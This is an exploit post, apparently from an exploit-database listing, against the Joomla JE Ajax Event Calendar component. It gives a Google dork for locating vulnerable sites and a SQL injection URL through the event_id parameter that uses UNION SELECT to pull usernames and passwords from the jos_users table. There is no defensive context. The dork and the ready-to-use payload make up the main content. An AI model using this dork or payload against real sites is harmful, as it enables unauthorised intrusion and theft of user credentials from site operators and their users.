24 lines
No EOL
813 B
Text
24 lines
No EOL
813 B
Text
# Vendor:
|
|
http://joomlaextensions.co.in/extensions/components/je-ajax-event-calender.html
|
|
|
|
# Download:
|
|
http://extensions.joomla.org/extensions/calendars-a-events/events/events-calendars/12110
|
|
|
|
# Author: altbta
|
|
|
|
# Contact: l_9[at]Hotmail[Dot]com
|
|
|
|
# Home: http://xp10.com
|
|
|
|
# Thanks to: rxh xp10.com >> v4-team.com >> p0c.cc :))
|
|
|
|
==========================================================================
|
|
|
|
[+] Dork: inurl:"index.php?option=com_jeajaxeventcalendar"
|
|
|
|
==========================================================================
|
|
|
|
[+] exploit:
|
|
http://127.168.1.1/index.php?option=com_jeajaxeventcalendar&view=alleventlist_more&event_id=-13/**/UNION/**/ALL/**/SELECT/**/1,2,concat(username,0x3a,password),4/**/from/**/jos_users--
|
|
|
|
========================================================================== |